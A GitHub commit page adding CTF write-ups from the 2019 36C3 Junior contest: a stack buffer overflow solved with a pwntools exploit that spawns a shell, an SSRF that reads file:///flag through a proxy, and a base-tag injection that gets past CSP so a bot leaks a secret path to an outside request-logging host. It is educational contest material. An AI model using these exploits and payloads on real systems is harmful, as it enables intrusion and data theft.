Skip to content

Commit

Permalink
36C3
Browse files Browse the repository at this point in the history
  • Loading branch information
Dvd848 committed Dec 30, 2019
1 parent 26c6ba9 commit 537ebff
Show file tree
Hide file tree
Showing 7 changed files with 877 additions and 0 deletions.
5 changes: 5 additions & 0 deletions 2019_36C3_Junior/README.md
Original file line number Diff line number Diff line change
@@ -0,0 +1,5 @@
# 36C3 Junior CTF 2019

Writeups for various challenges from the 2019 36C3 Junior CTF.

Finished in the 13th place.
156 changes: 156 additions & 0 deletions 2019_36C3_Junior/SPOaaS.md
Original file line number Diff line number Diff line change
@@ -0,0 +1,156 @@
# SPOaaS
Pwn, Easy

## Description

> Welcome to Stack Buffer Overflow as a Service! Since modern mitigations made it more difficult to exploit vulnerabilities, we decided to offer an easy and convenient service for everyone to experience the joy of exploiting a stack-based buffer overflow. Simply enter your data and win! nc 209.250.235.77 22222
A binary file was attached.

## Solution

Let's inspect the binary file:

```console
root@kali:/media/sf_CTFs/36c3/SPOaaS# file stack
stack: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=076e706085388e7880893724f98034ce9b60bead, not stripped
root@kali:/media/sf_CTFs/36c3/SPOaaS# checksec.sh -f stack
RELRO STACK CANARY NX PIE RPATH RUNPATH Symbols FORTIFY Fortified Fortifiable FILE
Partial RELRO No canary found NX enabled No PIE No RPATH No RUNPATH 68 Symbols No 0 4stack
```

Let's open it with Ghidra:

```c
undefined8 main(void)
{
setvbuf(stdout,(char *)0x0,2,0);
stack();
puts("Thank you for using SBOaaS :)");
return 0;
}

void stack(void)
{
char acStack1352 [1352];

puts(
"\n------------------------------------------------------------------\n SBOaaS \n------------------------------------------------------------------\n\nWelcome to StackBuffer Overflow as a Service\n\nSince modern mitigations made it more difficult to exploitvulnerabilities,\nwe decided to offer an easy and convenient service for everyone\ntoexperience the joy of exploiting a stack-based buffer overflow.\nSimply enter your data andwin!\n"
);
printf("Please enter your data. Good luck!\n> ");
gets(acStack1352);
return;
}
```
This is a very simple buffer overflow. We'll override the return address of `stack` and jump to:
```c
void spawn_shell(void)
{
char *local_18;
undefined8 local_10;
local_18 = "/bin/bash";
local_10 = 0;
execve("/bin/bash",&local_18,(char **)0x0);
return;
}
```

The exploit:

```python
# Generate template using:
# pwn template --host 209.250.235.77 --port 22222 ./stack
#===========================================================
# EXPLOIT GOES HERE
#===========================================================
# Arch: amd64-64-little
# RELRO: Partial RELRO
# Stack: No canary found
# NX: NX enabled
# PIE: No PIE (0x400000)

import os

def send_payload(proc, payload):
proc.sendlineafter("> ", payload)


def get_overflow_offset():
# It's problematic to create a core dump on an NTFS file system,
# so reconfigure core dumps to be created elsewhere
os.system("echo ~/core/core_dump > /proc/sys/kernel/core_pattern")
os.system("rm core.* > /dev/null")
proc = process(exe.path)
payload = cyclic(1380, n = exe.bytes)
send_payload(proc, payload)
proc.wait()
offset = cyclic_find(proc.corefile.fault_addr, n = exe.bytes )
log.info("Overflow offset: {} ({}-byte architecture)".format(offset, exe.bytes))
return offset


overflow_offset = get_overflow_offset()

log.info("spawn_shell() address: {}".format(hex(exe.symbols["spawn_shell"])))

io = start()
payload = fit({overflow_offset: exe.symbols["spawn_shell"]}, filler = 'B')

send_payload(io, payload)

io.interactive()
```

The output:

```console
root@kali:/media/sf_CTFs/36c3/SPOaaS# python exploit.py
[*] '/media/sf_CTFs/36c3/SPOaaS/stack'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
[+] Starting local process '/media/sf_CTFs/36c3/SPOaaS/stack': pid 2446
[*] Process '/media/sf_CTFs/36c3/SPOaaS/stack' stopped with exit code -11 (SIGSEGV) (pid 2446)
[+] Parsing corefile...: Done
[*] '/media/sf_CTFs/36c3/SPOaaS/core.2446'
Arch: amd64-64-little
RIP: 0x40068a
RSP: 0x7fffce3b59d8
Exe: '/media/sf_CTFs/36c3/SPOaaS/stack' (0x400000)
Fault: 0x6761616161616174
[*] Overflow offset: 1352 (8-byte architecture)
[*] spawn_shell() address: 0x40068b
[+] Opening connection to 209.250.235.77 on port 22222: Done
[*] Switching to interactive mode
$ ls
bin
boot
dev
etc
flag.txt
home
lib
lib64
media
mnt
opt
proc
root
run
sbin
srv
stack
sys
tmp
usr
var
$ cat flag.txt
junior-20165bcdbfebe4710bd0a1c168a5e752d999676e
$
```
81 changes: 81 additions & 0 deletions 2019_36C3_Junior/double.md
Original file line number Diff line number Diff line change
@@ -0,0 +1,81 @@
# double
Web, Easy

## Description

> Get the /flag at http://108.61.211.185/
## Solution

When accessing the site we get the following output:

```python
import string
import urllib2
from bottle import route, run, post, get, request

@get('/')
def index():
with open(__file__) as f:
return '<pre>' + "".join({'<':'<','>':'>'}.get(c,c) for c in f.read()) + '</pre>'


@post('/isup')
@get('/isup')
def isup():
try:
name = request.params.get('name', None)
ip = request.environ.get('REMOTE_ADDR')
is_remote = not (ip.startswith('127') or ip.startswith('172'))

is_valid = all(x in name for x in ['http', 'kuchenblech'])
if is_remote and not is_valid:
raise Exception
result = urllib2.urlopen(name).read()
return result
except:
return 'Error'

run(host='0.0.0.0', server="paste", port=8080, reloader=False)
```

It looks like the root directory prints the source of the backend script. Using the `/isup` page, we can read a webpage via `urllib2.urlopen(name).read()`, assuming we comply with the preconditions:

* If our IP is identified as a remote IP (i.e. it starts with `127` or `172`), we can only read URLs which contain both `http` and `kuchenblech` (note: The CTF domain was `http://kuchenblech.xyz/`).
* Local IPs can read any URL.

`127.*.*.*` should be familiar to everyone. Let's research `172.*.*.*` addresses:

> If the 1st octet is 172 and the 2nd octet of a IPv4 address is 16–31, you have a private IP address, similar to 192.168.x.x or 10.x.x.x. These are the 3 private IP address ranges that are reserved per RFC 1918.
>
> ...
>
> If the 2nd octet of an IPv4 address starting with 172 is anything other than 16–31, it’s a publicly routable IP, just like almost any other.
> ([Source](https://www.quora.com/What-is-the-significance-of-IP-addresses-starting-with-172))
So, using a proxy which starts with `172` we can bypass the `is_valid` check. But what should we send as the `name`? Sending `http://108.61.211.185/flag` didn't work, perhaps `/flag` is a local file?

It turns out `urlopen` can open local files as well, so in order to open `/flag` we need to send `file:///flag`.

The final script is:

```python
import requests

s = requests.Session()
def get_page(ip):
r = s.get('http://108.61.211.185/isup?name=file:///flag', proxies={'http': ip})
return r.text

print get_page("http://172.93.199.90:3131")
```

The flag: `junior-double_or_noth1ng`.

According to the flag (and the challenge name), the intended solution was to make a double request:

```
http://108.61.211.185/isup?name=http://108.61.211.185/isup?kuchenblech=1%26name=file:///flag
```

The `name` of the external request contains both `http` and `kuchenblech` while the internal request is performed locally and therefore does not need any validation.
145 changes: 145 additions & 0 deletions 2019_36C3_Junior/flagfriendly.md
Original file line number Diff line number Diff line change
@@ -0,0 +1,145 @@
# flagfriendly
Web, Medium

## Description

> Flags for friendly Kuchenblech http://45.76.92.221:8070/
```python
#!/usr/bin/env python3
import requests
from flag import flag
from flask import Flask, request, redirect, make_response

app = Flask(__name__)


@app.route("/", methods=["GET"])
def index():
title = request.args.get("title", default="Flags for Friendly Fellows", type=str)
print("Flag cookie:", request.cookies.get("flag"))
if request.cookies.get("flag") == flag:
# Make sure the filename never leaks!
path = flag
else:
path = "static/flag"
response = make_response(
f"""<!doctype html>
<html>
<head>
<title>{title}</title>
</head>
<body>
<h1>{title}</h1>
<img src="/{path}.gif"/>
</body>
</html>"""
)
response.headers["Content-Security-Policy"] = "img-src *; default-src 'none';"
return response


@app.route("/report")
def report():
"""
This can be used to make bots surf this site.
Bots will have the flag cookie set accordingly.
"""
url = request.args.get("url", default="", type=str)
if not url:
return "No url parameter provided to surf to"
return requests.get(f"http://surfer:8075?url={url}").text


@app.route(f"/{flag}.gif")
def show_gif():
return redirect("/static/flag.gif")


if __name__ == "__main__":
app.run()

```

## Solution

Visiting the website, we get the following output, as expected:

```html
<!doctype html>
<html>
<head>
<title>Flags for Friendly Fellows</title>
</head>
<body>
<h1>Flags for Friendly Fellows</h1>
<img src="/static/flag.gif"/>
</body>
</html>
```

The `title` field is clearly vulnerable to injection, but scripts won't execute due to the existence of the CSP (Content-Security-Policy) header.

The solution is to inject an HTML tag instead: `<base href="" />`. This tag instructs the browser to load all relative resources from a given base address instead of assuming addresses are relative to the current page's URI.

Let's try visiting `http://45.76.92.221:8070/?title=%3Cbase%20href=%22https://www.google.com%22%20/%3E`:

```html
<!doctype html>
<html>
<head>
<title><base href="https://www.google.com" /></title>
</head>
<body>
<h1><base href="https://www.google.com" /></h1>
<img src="/static/flag.gif"/>
</body>
</html>
```

In this case, the browser attempts to load `/static/flag.gif` from `https://www.google.com` (this obviously fails).

But what if we replace `https://www.google.com` with a server that logs all requests, such as [requestbin.com](https://requestbin.com)?


```html
<!doctype html>
<html>
<head>
<title><base href="https://enskhpoprq3jl.x.pipedream.net" /></title>
</head>
<body>
<h1><base href="https://enskhpoprq3jl.x.pipedream.net" /></h1>
<img src="/static/flag.gif"/>
</body>
</html>
```

Any access to this page will attempt to load the resource from `https://enskhpoprq3jl.x.pipedream.net`, which will be logged and visible by us. If we visit the page, `/static/flag.gif` will be loaded. But according to the challenge comments, we can trigger a bot to visit any link using the `/report` API, and the bot will have the cookie value which will load the real flag as the image path.

To conclude, we need to access:
```
http://45.76.92.221:8070/report?url=http://45.76.92.221:8070/?title=%3Cbase%20href=%22https://enskhpoprq3jl.x.pipedream.net%22%20/%3E
```

The bot visits:
```
http://45.76.92.221:8070/?title=%3Cbase%20href=%22https://enskhpoprq3jl.x.pipedream.net%22%20/%3E
```

The visit gets logged:
```
GET /junior-CSP_THE_C_IS_FOR_CYBER.gif
host: enskhpoprq3jl.x.pipedream.net
Accept: image/webp,image/apng,image/*,*/*;q=0.8
Accept-Encoding: gzip, deflate, br
Cache-Control: no-cache
Pragma: no-cache
Referer: http://45.76.92.221:8070/?title=%3Cbase%20href=%22https://enskhpoprq3jl.x.pipedream.net%22%20/%3E
Sec-Fetch-Mode: no-cors
Sec-Fetch-Site: cross-site
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/79.0.3945.0 Safari/537.36
Connection: keep-alive
```

The flag is: `junior-CSP_THE_C_IS_FOR_CYBER`
Loading

0 comments on commit 537ebff

Please sign in to comment.